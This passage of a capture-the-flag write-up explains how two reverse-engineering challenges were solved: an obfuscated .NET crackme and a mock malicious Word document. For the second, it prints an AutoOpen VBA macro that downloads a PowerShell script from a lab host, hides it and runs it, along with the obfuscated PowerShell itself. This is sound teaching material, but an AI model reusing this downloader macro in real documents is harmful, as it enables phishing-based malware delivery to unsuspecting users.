	foreach (KeyValuePair<char, bool> keyValuePair in Program.者港本転l軽事楽確表陸情囲അവരസകരമ\u0D3Eണ\u0D4D英移量開o象会典光県思分代国l間玉間)
	{
		象会典光県思分.鞋子真漂亮("What's your input?: ");
		if (象会典光県思分.漂亮的眼睛()[0] != keyValuePair.Key - '\u0001')
		{
			象会典光県思分.漂亮的裤子("Wrong input!");
			象会典光県思分.漂亮的眼睛();
			Environment.Exit(1);
		}
	}
	象会典光県思分.漂亮的裤子("Way! Nice one!");
	Console.WriteLine(为什么编程对某些人来说如此困难.你好我的名字是().ToString());
	象会典光県思分.漂亮的眼睛();
}

What’re these weird methods being called? Let’s take a look at 象会典光県思分.漂亮的裤子. It seems to be a class that simply proxies to other methods, for example 象会典光県思分.漂亮的裤子 will simply proxy to Console.Write. We can also see that Way! Nice one! is printed after this loop to show that after a sequence of successful inputs feedback is given to the user. A method is then called, then converted to a string. Let’s take a look at that method:

public static string 你好我的名字是()
{
	int num = 1337;
	ulong num2 = 60378UL;
	if ((num2 & 221UL) == 4095UL)
	{
		ulong num3;
		ulong num4;
		do
		{
			num3 = num2 >> 2;
			num4 = num2;
			num2 = num4 - 1UL;
		}
		while (num3 != num4);
	}
	num -= num;
	num ^= num;
	char[] array = 象会典光県思分.楽確表陸情(象会典光県思分.那很容易(Resources.QPOopXopkQopkAxkpoKSpokAPOkPOAKopQ139AjAkXnZXnQjkAQKXjnSXkQAlAXjnasdowqeiqAiQiuAoplXnOJWQoiJEWjoiAScxnasdpQiowEoiJNNasfdJHOoihAFpAISFjhoiwr)).ToCharArray();
	for (int i = num; i < array.Length; i++)
	{
		array[i] = 象会典光県思分.門選宅柴京調比月級術目残(array[i]);
	}
	return new string(array);
}

This seems to reference a resource within the binary, and does some maths which don’t have any effect on the main operations - simply just there to obfuscate the program even further. It then seems to build a string array, weird. Let’s continue and see if there’s an easier way to solve this challenge rather than looking at this semi-obfuscated method.

We can see that the function enumerates over a dictionary, asks for input, gets the first character of that input and then compares the input to the value that was enumerated over to char(val - 1). So, we need to input the characters in the order that they are in the dictionary: o, a, m, p, 0, 4, 1, A, M, c. We then minus 1. This then means we have to input: n,```,l, o, /, 3, 0, @, L, b` in order. Here we can see the output when we input this sequence of characters:

Give me a sequence to unlock the magic string - ???: *???:*
What's your input?: n
What's your input?: `
What's your input?: l
What's your input?: o
What's your input?: /
What's your input?: 3
What's your input?: 0
What's your input?: @
What's your input?: L
What's your input?: b
Way! Nice one!
ltdh{what_a_meme}

The flag is ltdh{what_a_meme}.

Chain

I wanted to make this challenge as if a maldoc (“malware document”) had been presented. We’re given the file cv_view_open.docx, upon opening it we’re presented with this malformed Word document:

It seems to use a social engineering method to get the user to enable macros on the document, showing a CV (“curriculum vitae”) that appears as if it’s corrupted. It then prompts the user to enable macros, let’s take a look at the macros that they’re trying to execute. We’re going to use olevba which will extract the macros from a Microsoft Office document. If you already have Python’s package manager pip installed can install it by running pip install -U oletools, otherwise find a reference to install Python. To view the embedded macros we could also simply use the Developer tab in Word, I prefer to use oletools though. This gives us an output of:

Sub ITS_LEGIT_I_SWEAR()
    Dim xHttp
    Dim bStrm
    Dim filename
    
    Set xHttp = CreateObject("Microsoft.XMLHTTP")
    xHttp.Open "GET", "http://10.42.2.19/drop.ps1", False
    xHttp.Send
    
    Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")
    
    filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())
    
    gobjBinaryOutputStream.Type = 1
    gobjBinaryOutputStream.Open
    gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
    gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
    gobjBinaryOutputStream.write xHttp.responseBody
    gobjBinaryOutputStream.savetofile filename, 2
    
    SetAttr filename, vbReadOnly + vbHidden + vbSystem
    Shell (filename)

End Sub

Sub AutoOpen()
    ITS_LEGIT_I_SWEAR
End Sub

The AutoOpen method in Office macros is called whenever, a document is opened. We can see that ITS_LEGIT_I_SWEAR is then called which downloads a file from http://10.42.2.19/drop.ps1 which is a PowerShell script as-per the extension, then drops it into C:\Temp - a pretty lame downloader. Let’s look at the PowerShell script:

 . ( $pshoMe[4]+$PsHOme[30]+'X')( (("{39}{32}{7}{17}{37}{16}{27}{6}{40}{1}{21}{10}{4}{24}{19}{34}{29}{36}{26}{2}{8}{5}{23}{13}{35}{22}{31}{0}{28}{3}{25}{38}{15}{9}{11}{14}{18}{30}{12}{20}{33}" -f ') wLJ+wLJ{
    wLJ+wLJ    oMOdewLJ+wLJcwLJ+wLJrywLJ+wLJptewLJ','=wLJ+wLJ [SywLJ+wL','ng(oMwLJ+wLJOdawLJ+wLJta)wLJ+wLJ
wLJ+wLJ
    oMwLJ+wLJOdwLJ+wLJewLJ+wLJcryptedwLJ+wLJ wLJ+wLJ= wLJ+wL','wLJrypwLJ+wLJted[oMwLJ+wLJOiwLJ+wLJ] -bxor 0xF
wLJ+wLJ  wLJ+w','LJetBytewLJ+wLJs(kwLJ+wLJ4wLJ+wLJIwLJ+wLJWAS_ZUM_HwLJ+wLJOFFEwLJ+wLJ_HANw','wLJ+','LJ+wLJMwLJ+wLJOda','(wLJ+wLJ
wLJ+wLJ       wLJ+wLJ[PwLJ+wLJarameter(Man','[email protected]()wLJ+wLJ

    for wLJ+wLJ(wLJ+wLJoMOiwLJ+wLJ = ','J+wLJ.Tex','LJ+wLJnwLJ+wLJcodwLJ+wLJinwLJ+wLJg]:wLJ+wLJ:UTFwLJ+wLJ8.wLJ+wLJGwLJ+w','t.EncodwLJ+wLJinwLJ+wLJg]:wLJ+','wLJ}wLJ).rePLace(wLJk4IwLJ,[Stri','encrwLJ+wLJ','wLJ:wLJ+wLJUTF8.GwLJ+wLJetwLJ+wLJSwLJ+wLJtrwL','LJmwL','rwLJ','datwLJ+wLJory)][stwLJ','J+wLJing(owLJ+wLJMOdecr','wLJ+wLJ

wLJ+wLJ   wLJ','ng][ChAR]34).rePLace(wLJoMOwLJ,[Strin','Jstem.wLJ+wLJText.Ew','LJ+wLJhwLJ+wLJ; owLJ+wLJMOi+','wLJ0;wLJ+wLJ wLJ+wLJoMOi -lt oMO','LJ+wLJSk4I)','LJ wLJ+wLJ }
wLJ+wLJ
    [SwLJ+wLJyswLJ+wLJtwLJ+w','LJ+wLJromwLJ+wLJBase64wLJ+wLJStri','+wLJing]wLJ+wLJow','+wLJd += oMwLJ+wLJOenwLJ+wLJcwLJ+','ted = [System.CowLJ+wLJnwLJ+wLJvewLJ+wLJrt]::F','ypted)
wLJ+','+','J+wLJ {param','g][ChAR]36) G1H& ( hdtVerBOsEpReFerencE.TOsTRINg()[1,3]+wLJXwLJ-JoinwLJwLJ)','+wLJ wLJ+wLJoMwLJ+wLJOenwLJ+wLJcrwLJ+wLJypwLJ+wLJ','ywLJ+wLJptewLJ+wLJdwLJ+wLJ.Lengtw','w','+wLJ','LJewLJ+w','(wLJfunwLJ+wLJction Get-Crypt-LwLJ+wLJadwL','tawLJ+wLJ
  wLJ+wLJ  )

  wLJ+wLJ wLJ+wLJ oMOwLJ+wLJkeywLJ+wLJ ')).rEplacE('hdt','$').rEplacE(([ChaR]71+[ChaR]49+[ChaR]72),'|').rEplacE('wLJ',[sTRIng][ChaR]39) )

# TODO: Y3trZ3RgYmhQeGdue1BgYVBqbn17Z3I=

This seems to be an obfuscated PowerShell script, however we can see a comment at the bottom which is an encoded string. We can make out certain strings such as -bxor 0xF and Base64 within. This can be seen in the following excerpt:

-bxor 0xF

Hm, so we’ve got a base64 encoded string, we can see that an XOR operation is involved. Let’s decode the string, then decrypt using 0xF as the key. For this, I’d recommend using CyberChef made by GCHQ. You can see the recipe that I used here.

Nice! This then yields the flag:

ltdh{omg_what_on_earth}


Conclusion

I tried to make these challenges as realistic and interesting as possible to captivate the interest of people who might be new to reverse engineering. However, to test the skills of people who are well-versed in the subject too. Big thanks to CuPcakeN1njA (Charlie) for setting up the CTF and ensuring it ran smoothly!

re ida golang maldoc